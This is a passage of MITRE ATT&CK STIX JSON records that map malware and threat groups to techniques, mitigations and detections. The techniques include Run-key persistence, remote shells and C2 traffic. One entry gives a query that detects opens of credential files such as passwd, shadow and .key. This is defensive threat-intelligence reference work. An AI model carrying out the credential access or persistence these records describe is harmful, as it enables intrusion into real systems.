","relationship_type":"mitigates","source_ref":"course-of-action--7da0387c-ba92-4553-b291-b636ee42b2eb","target_ref":"attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f8b0bc4b-4275-4684-9ced-52969cbaabe5","created":"2023-03-31T17:30:35.888Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-11T03:24:30.017Z","description":"Monitor for newly created files that may be used to register malicious network provider dynamic link libraries (DLLs).","relationship_type":"detects","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--90c4a591-d02d-490b-92aa-619d9701ac04","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f8b6eae9-cf2b-4b16-8c44-03d989533dd6","type":"relationship","created":"2020-02-21T18:52:23.547Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-18T12:20:00.538Z","description":"Some endpoint security solutions can be configured to block some types of process injection based on common sequences of behavior that occur during the injection process. ","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f8bb44c8-d368-4d56-b039-50d6419ab60a","type":"relationship","created":"2019-07-19T14:35:12.517Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.","url":"https://www.ready.gov/business/implementation/IT","source_name":"Ready.gov IT DRP"},{"source_name":"Rhino S3 Ransomware Part 2","url":"https://rhinosecuritylabs.com/aws/s3-ransomware-part-2-prevention-and-defense/","description":"Gietzen, S. (n.d.). S3 Ransomware Part 2: Prevention and Defense. Retrieved April 14, 2021."}],"modified":"2021-08-16T21:07:27.553Z","description":"Consider implementing IT disaster recovery plans that contain procedures for regularly taking and testing data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery. Consider enabling versioning in cloud environments to maintain backup copies of storage objects.(Citation: Rhino S3 Ransomware Part 2)","relationship_type":"mitigates","source_ref":"course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f8bfa9b5-8754-467c-a71c-e2e577c8fbae","type":"relationship","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.868Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). (Citation: US-CERT Alert TA15-314A Web Shells)","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT Alert TA15-314A Web Shells","description":"US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.","url":"https://www.us-cert.gov/ncas/alerts/TA15-314A"}]},{"type":"relationship","id":"relationship--f8c0613b-557e-4a9d-9f01-d57138d18c24","created":"2024-06-27T18:18:38.847Z","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-27T18:18:38.847Z","description":"[LunarMail](https://attack.mitre.org/software/S1142) has the ability to use Outlook add-ins for persistence.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--a5789a26-2b7b-4b2d-a25f-31182468d4bb","target_ref":"attack-pattern--34f1d81d-fe88-4f97-bd3b-a3164536255d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f8c1f1e4-4580-4ec6-9bc0-6f24214dc273","type":"relationship","created":"2021-03-18T16:33:07.747Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA EB Aug 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239a","description":"Cybersecurity and Infrastructure Security Agency. (2020, August 26). MAR-10301706-1.v1 - North Korean Remote Access Tool: ECCENTRICBANDWAGON. Retrieved March 18, 2021."}],"modified":"2021-04-14T15:25:06.128Z","description":"[ECCENTRICBANDWAGON](https://attack.mitre.org/software/S0593) has stored keystrokes and screenshots within the %temp%\\GoogleChrome, %temp%\\Downloads, and %temp%\\TrendMicroUpdate directories.(Citation: CISA EB Aug 2020)","relationship_type":"uses","source_ref":"malware--e928333f-f3df-4039-9b8b-556c2add0e42","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f8c27264-e42d-48fd-9a18-4b275383f155","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.","source_name":"Symantec Elderwood Sept 2012"}],"modified":"2021-01-06T19:32:28.284Z","description":"[Elderwood](https://attack.mitre.org/groups/G0066) has packed malware payloads before delivery to victims.(Citation: Symantec Elderwood Sept 2012)","relationship_type":"uses","source_ref":"intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f8c2b8e1-7439-48df-a8c3-6796fd4bb142","created":"2023-03-02T18:59:11.281Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft BlackCat Jun 2022","description":"Microsoft Defender Threat Intelligence. (2022, June 13). The many lives of BlackCat ransomware. Retrieved December 20, 2022.","url":"https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-12T18:36:50.516Z","description":"[BlackCat](https://attack.mitre.org/software/S1068) can utilize `net use` commands to discover the user name on a compromised host.(Citation: Microsoft BlackCat Jun 2022)","relationship_type":"uses","source_ref":"malware--50c44c34-3abb-48ae-9433-a2337de5b0bc","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f8c320cc-97f5-4b3a-8847-92c42b6a48b7","type":"relationship","created":"2020-02-11T18:27:15.862Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-11T18:27:15.862Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6","target_ref":"attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f8c754dd-a4a8-4507-bce2-c738e5354a3c","type":"relationship","created":"2020-11-16T21:16:42.732Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Lucifer June 2020","url":"https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/","description":"Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."}],"modified":"2020-11-16T21:16:42.732Z","description":"[Lucifer](https://attack.mitre.org/software/S0532) can check for existing stratum cryptomining information in HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\spreadCpuXmr – %stratum info%.(Citation: Unit 42 Lucifer June 2020)","relationship_type":"uses","source_ref":"malware--54a73038-1937-4d71-a253-316e76d5413c","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f8d053fe-be2f-43fd-88d5-507e82ee4e1d","type":"relationship","created":"2020-03-20T17:02:09.404Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Oceanlotus May 2017","url":"https://www.cybereason.com/blog/operation-cobalt-kitty-apt","description":"Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018."},{"source_name":"Cybereason Cobalt Kitty 2017","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"}],"modified":"2020-03-20T17:02:09.404Z","description":"[Denis](https://attack.mitre.org/software/S0354) can launch a remote shell to execute arbitrary commands on the victim’s machine.(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f8d812a6-c99d-48cb-93b7-c269150c59bd","type":"relationship","created":"2022-03-30T14:26:51.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.833Z","description":"Monitor events for changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670. Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ or that include additional flags such as changing a password without knowledge of the old password.\r\n\r\nMonitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts.","source_ref":"x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77","target_ref":"attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f8dbf944-f27b-4829-8781-9314908c9980","type":"relationship","created":"2021-06-18T15:26:55.706Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Siloscape Jun 2021","url":"https://unit42.paloaltonetworks.com/siloscape/","description":"Prizmant, D. (2021, June 7). Siloscape: First Known Malware Targeting Windows Containers to Compromise Cloud Environments. Retrieved June 9, 2021."}],"modified":"2021-06-18T15:26:55.706Z","description":"[Siloscape](https://attack.mitre.org/software/S0623) makes various native API calls.(Citation: Unit 42 Siloscape Jun 2021)","relationship_type":"uses","source_ref":"malware--4fbd565b-bf55-4ac7-80b4-b183a7b64b9c","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f8e25c1f-84bd-4ddd-bf18-51543d5cff94","type":"relationship","created":"2020-06-01T15:46:47.636Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM TA505 April 2020","url":"https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/","description":"Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020."}],"modified":"2021-12-01T23:27:44.605Z","description":"[TA505](https://attack.mitre.org/groups/G0092) has used HTTP to communicate with C2 nodes.(Citation: IBM TA505 April 2020)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f8e31b9d-941d-4f58-ae3a-3bdbf4b2a923","type":"relationship","created":"2021-06-21T13:17:56.510Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-06-21T13:17:56.510Z","description":"[Ecipekac](https://attack.mitre.org/software/S0624) has the ability to decrypt fileless loader modules.(Citation: Securelist APT10 March 2021)","relationship_type":"uses","source_ref":"malware--292eb0c5-b8e8-4af6-9e8f-0fda6b4528d3","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f8e3f60b-4a73-427e-85c6-cc58e1089791","created":"2023-07-20T15:36:09.758Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-02T21:37:33.699Z","description":"Monitor for files being accessed to exfiltrate data to a webhook as a malicious command and control channel.","relationship_type":"detects","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--43f2776f-b4bd-4118-94b8-fee47e69676d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f8e6711c-de3d-4c9f-a255-96fa7719e0a4","type":"relationship","created":"2020-03-14T23:39:50.307Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-14T23:39:50.307Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f8f21a3f-8bc7-49ee-a602-80df0e5e8bf4","type":"relationship","created":"2021-10-14T22:21:20.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Taidoor","description":"Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.","url":"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf"}],"modified":"2021-10-14T22:21:20.868Z","description":"[Taidoor](https://attack.mitre.org/software/S0011) has modified the HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run key for persistence.(Citation: TrendMicro Taidoor)","relationship_type":"uses","source_ref":"malware--b143dfa4-e944-43ff-8429-bfffc308c517","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f8f24599-854a-4795-891b-c28d89b8ddcc","type":"relationship","created":"2020-06-10T18:29:32.028Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.430Z","description":"[BBK](https://attack.mitre.org/software/S0470) has the ability to use the CreatePipe API to add a sub-process for execution via [cmd](https://attack.mitre.org/software/S0106).(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--f0fc920e-57a3-4af5-89be-9ea594c8b1ea","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f8f50914-3b71-40a2-b661-5e11571222a6","type":"relationship","created":"2019-09-13T14:29:19.317Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."}],"modified":"2019-10-07T15:16:12.244Z","description":"[Machete](https://attack.mitre.org/software/S0409) has the capability to exfiltrate stolen data to a hidden folder on a removable drive.(Citation: ESET Machete July 2019)","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f8f63dca-91a1-4bbf-811c-4ed083b36246","type":"relationship","created":"2020-11-18T20:26:08.344Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Bazar July 2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020."},{"source_name":"Zscaler Bazar September 2020","url":"https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware","description":"Sadique, M. and Singh, A. (2020, September 29). Spear Phishing Campaign Delivers Buer and Bazar Malware. Retrieved November 19, 2020."}],"modified":"2020-11-19T18:31:09.022Z","description":"[Bazar](https://attack.mitre.org/software/S0534) has a variant with a packed payload.(Citation: Cybereason Bazar July 2020)(Citation: Zscaler Bazar September 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f8fe4311-f367-42bb-a51d-688753d0218b","type":"relationship","created":"2021-04-19T17:50:00.119Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft HAFNIUM March 2020","url":"https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/","description":"MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021."}],"modified":"2021-04-19T17:50:00.119Z","description":"[HAFNIUM](https://attack.mitre.org/groups/G0125) has used ASCII encoding for C2 traffic.(Citation: Microsoft HAFNIUM March 2020)","relationship_type":"uses","source_ref":"intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f8ff17c3-2921-40c2-b4a9-19ee7678397a","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","source_name":"FireEye Know Your Enemy FIN8 Aug 2016"}],"modified":"2019-03-22T20:21:57.791Z","description":"[FIN8](https://attack.mitre.org/groups/G0061) has deleted Registry keys during post compromise cleanup activities.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f90759fc-14cb-4f29-a2b6-221d6fb0e884","type":"relationship","created":"2021-04-07T18:07:47.942Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Hildegard Malware","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/","description":"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."}],"modified":"2021-04-07T18:07:47.942Z","description":"[Hildegard](https://attack.mitre.org/software/S0601) has used shell scripts for execution.(Citation: Unit 42 Hildegard Malware)","relationship_type":"uses","source_ref":"malware--40a1b8ec-7295-416c-a6b1-68181d86f120","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f919b3aa-87dc-49f0-9fd0-676ed49d0d60","created":"2022-03-30T14:26:51.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T17:54:47.011Z","description":"Monitor for files being accessed that may search local file systems and remote file shares for files containing insecurely stored credentials. While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. \n\nAnalytic 1 - Unauthorized access to files containing credentials.\n\n (index=security sourcetype=\"WinEventLog:Security\" EventCode=4663 ObjectName IN (\"*password*\", \"*credential*\", \"*secret*\", \"*token*\")) OR\n(index=sysmon sourcetype=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=11 TargetObject IN (\"*password*\", \"*credential*\", \"*secret*\", \"*token*\")) OR\n(index=os sourcetype=\"linux_audit\" action=\"open\" filepath IN (\"*password*\", \"*credential*\", \"*passwd*\", \"*shadow*\", \"*.pem\", \"*.key\", \"*secret*\", \"*token*\")) OR\n(index=os sourcetype=\"macos_secure\" event_type=\"open\" file_path IN (\"*password*\", \"*credential*\", \"*passwd*\", \"*shadow*\", \"*.pem\", \"*.key\", \"*secret*\", \"*token*\"))","relationship_type":"detects","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f91d058b-e69d-46ab-9ba0-f23c368b6190","created":"2023-07-14T14:03:28.682Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-14T15:04:16.924Z","description":"Ensure that low-privileged accounts do not have permissions to add permissions to accounts or to update container cluster roles. ","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--35d30338-5bfa-41b0-a170-ec06dfd75f64","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f9234d49-433d-41b2-ac26-7e9c899e6076","created":"2024-03-25T21:19:08.855Z","revoked":false,"external_references":[{"source_name":"CISA Scattered Spider Advisory November 2023","description":"CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T21:19:08.855Z","description":"[Scattered Spider](https://attack.mitre.org/groups/G1015) Spider searches for credential storage documentation on a compromised host.(Citation: CISA Scattered Spider Advisory November 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f9270fc0-7d9f-4380-bf78-1f79fa775455","created":"2024-08-30T13:59:20.685Z","revoked":false,"external_references":[{"source_name":"CISA Scattered Spider Advisory November 2023","description":"CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 